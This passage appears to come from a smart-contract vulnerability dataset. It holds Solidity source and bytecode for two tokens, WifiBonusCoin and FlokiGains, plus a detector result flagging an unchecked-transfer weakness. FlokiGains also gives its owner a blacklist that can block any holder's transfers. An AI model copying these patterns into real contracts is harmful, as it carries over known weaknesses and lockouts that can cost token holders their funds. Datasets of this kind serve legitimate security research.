address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping(address => mapping(address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Airdropper */ contract Airdropper is Ownable { function multisend(address _tokenAddr, address[] _dests, uint256[] _values) onlyOwner public returns (uint256 _numTxs) { uint256 i = 0; while (i < _dests.length) { ERC20(_tokenAddr).transfer(_dests[i], _values[i]); i += 1; } return(i); } function transferRemaining(address _tokenAddr, address _recipient, uint256 _botAmount) onlyOwner external { ERC20(_tokenAddr).transfer(_recipient, _botAmount); } } /** * @title WifiBonusCoin */ contract WifiBonusCoin is StandardToken, Ownable, Airdropper { string public constant name = "World Wifi Bonus"; string public constant symbol = "WWFB"; uint8 public constant decimals = 0; uint256 public constant INITIAL_SUPPLY = 300000000; /** * @dev Constructor that gives msg.sender all of existing tokens. */ function WifiBonusCoin() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; Transfer(0x0, msg.sender, INITIAL_SUPPLY); } }
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017957806318160ddd146101d357806323b872dd146101fc5780632ff2e9dc14610275578063313ce5671461029e57806366188463146102cd57806370a08231146103275780638da5cb5b1461037457806395d89b41146103c9578063973069f814610457578063a9059cbb146104b8578063ad8733ca14610512578063d73dd623146105df578063dd62ed3e14610639578063f2fde38b146106a5575b600080fd5b34156100f657600080fd5b6100fe6106de565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013e578082015181840152602081019050610123565b50505050905090810190601f16801561016b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018457600080fd5b6101b9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610717565b604051808215151515815260200191505060405180910390f35b34156101de57600080fd5b6101e6610809565b6040518082815260200191505060405180910390f35b341561020757600080fd5b61025b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610813565b604051808215151515815260200191505060405180910390f35b341561028057600080fd5b610288610bcd565b6040518082815260200191505060405180910390f35b34156102a957600080fd5b6102b1610bd5565b604051808260ff1660ff16815260200191505060405180910390f35b34156102d857600080fd5b61030d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610bda565b604051808215151515815260200191505060405180910390f35b341561033257600080fd5b61035e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e6b565b6040518082815260200191505060405180910390f35b341561037f57600080fd5b610387610eb3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103d457600080fd5b6103dc610ed9565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561041c578082015181840152602081019050610401565b50505050905090810190601f1680156104495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561046257600080fd5b6104b6600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f12565b005b34156104c357600080fd5b6104f8600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061103a565b604051808215151515815260200191505060405180910390f35b341561051d57600080fd5b6105c9600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050611259565b6040518082815260200191505060405180910390f35b34156105ea57600080fd5b61061f600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506113d1565b604051808215151515815260200191505060405180910390f35b341561064457600080fd5b61068f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506115cd565b6040518082815260200191505060405180910390f35b34156106b057600080fd5b6106dc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611654565b005b6040805190810160405280601081526020017f576f726c64205769666920426f6e75730000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561085057600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561089d57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561092857600080fd5b610979826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ac90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a0c826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117c590919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610add82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ac90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6311e1a30081565b600081565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ceb576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7f565b610cfe83826117ac90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f575746420000000000000000000000000000000000000000000000000000000081525081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f6e57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561101957600080fd5b6102c65a03f1151561102a57600080fd5b5050506040518051905050505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561107757600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110c457600080fd5b611115826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ac90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111a8826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117c590919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112b857600080fd5b600090505b83518110156113c6578473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85838151811015156112f057fe5b90602001906020020151858481518110151561130857fe5b906020019060200201516000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561139f57600080fd5b6102c65a03f115156113b057600080fd5b50505060405180519050506001810190506112bd565b809150509392505050565b600061146282600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117c590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116b057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156116ec57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111515156117ba57fe5b818303905092915050565b60008082840190508381101515156117d957fe5b80915050929150505600a165627a7a723058207e0cc1d55717825e83ac9726bfaa7b7ce19fe18869a1d0f9c12621eb71cc26250029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
7,222
0xf3244ea394e2c8d76615230510994ed44f996c81
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract FlokiGains is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private setTax; uint256 private setRedis; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; address payable private _feeAddrWallet3; string private constant _name = "FlokiGains"; string private constant _symbol = "FlokiG"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable _add1,address payable _add2,address payable _add3) { _feeAddrWallet1 = _add1; _feeAddrWallet2 = _add2; _feeAddrWallet3 = _add3; _rOwned[_feeAddrWallet1] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; emit Transfer(address(0), _feeAddrWallet1, _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (from != address(this)) { _feeAddr1 = setRedis; _feeAddr2 = setTax; uint256 contractTokenBalance = balanceOf(address(this)); if (contractTokenBalance > _tTotal/1000){ if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 300000000000000000) { sendETHToFee(address(this).balance); } } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { uint256 toSend = amount/3; _feeAddrWallet1.transfer(toSend); _feeAddrWallet2.transfer(toSend); _feeAddrWallet3.transfer(toSend); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); setTax = 9; setRedis = 1; swapEnabled = true; cooldownEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function blacklist(address _address) external onlyOwner{ bots[_address] = true; } function removeBlacklist(address notbot) external onlyOwner{ bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet2); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd80146102c8578063c9567bf9146102dd578063dd62ed3e146102f2578063eb91e65114610338578063f9f92be41461035857600080fd5b8063715018a61461023c5780638da5cb5b1461025157806395d89b4114610279578063a9059cbb146102a857600080fd5b8063313ce567116100d1578063313ce567146101c95780635932ead1146101e55780636fc3eaec1461020757806370a082311461021c57600080fd5b806306fdde031461010e578063095ea7b31461015357806318160ddd1461018357806323b872dd146101a957600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600a815269466c6f6b694761696e7360b01b60208201525b60405161014a91906114cb565b60405180910390f35b34801561015f57600080fd5b5061017361016e366004611437565b610378565b604051901515815260200161014a565b34801561018f57600080fd5b50683635c9adc5dea000005b60405190815260200161014a565b3480156101b557600080fd5b506101736101c43660046113f6565b61038f565b3480156101d557600080fd5b506040516009815260200161014a565b3480156101f157600080fd5b50610205610200366004611463565b6103f8565b005b34801561021357600080fd5b50610205610449565b34801561022857600080fd5b5061019b610237366004611383565b610476565b34801561024857600080fd5b50610205610498565b34801561025d57600080fd5b506000546040516001600160a01b03909116815260200161014a565b34801561028557600080fd5b50604080518082019091526006815265466c6f6b694760d01b602082015261013d565b3480156102b457600080fd5b506101736102c3366004611437565b61050c565b3480156102d457600080fd5b50610205610519565b3480156102e957600080fd5b5061020561054f565b3480156102fe57600080fd5b5061019b61030d3660046113bd565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561034457600080fd5b50610205610353366004611383565b610914565b34801561036457600080fd5b50610205610373366004611383565b61095f565b60006103853384846109ad565b5060015b92915050565b600061039c848484610ad1565b6103ee84336103e985604051806060016040528060288152602001611686602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610c17565b6109ad565b5060019392505050565b6000546001600160a01b0316331461042b5760405162461bcd60e51b815260040161042290611520565b60405180910390fd5b60128054911515600160b81b0260ff60b81b19909216919091179055565b600f546001600160a01b0316336001600160a01b03161461046957600080fd5b4761047381610c51565b50565b6001600160a01b03811660009081526002602052604081205461038990610d0f565b6000546001600160a01b031633146104c25760405162461bcd60e51b815260040161042290611520565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610385338484610ad1565b600e546001600160a01b0316336001600160a01b03161461053957600080fd5b600061054430610476565b905061047381610d93565b6000546001600160a01b031633146105795760405162461bcd60e51b815260040161042290611520565b601254600160a01b900460ff16156105d35760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610422565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106103082683635c9adc5dea000006109ad565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561064957600080fd5b505afa15801561065d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068191906113a0565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156106c957600080fd5b505afa1580156106dd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070191906113a0565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561074957600080fd5b505af115801561075d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078191906113a0565b601280546001600160a01b0319166001600160a01b039283161790556011541663f305d71947306107b181610476565b6000806107c66000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561082957600080fd5b505af115801561083d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610862919061149d565b50506009600c55506001600d556012805463ffff00ff60a01b198116630101000160a01b1790915560115460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b1580156108d857600080fd5b505af11580156108ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109109190611480565b5050565b6000546001600160a01b0316331461093e5760405162461bcd60e51b815260040161042290611520565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146109895760405162461bcd60e51b815260040161042290611520565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6001600160a01b038316610a0f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f766520667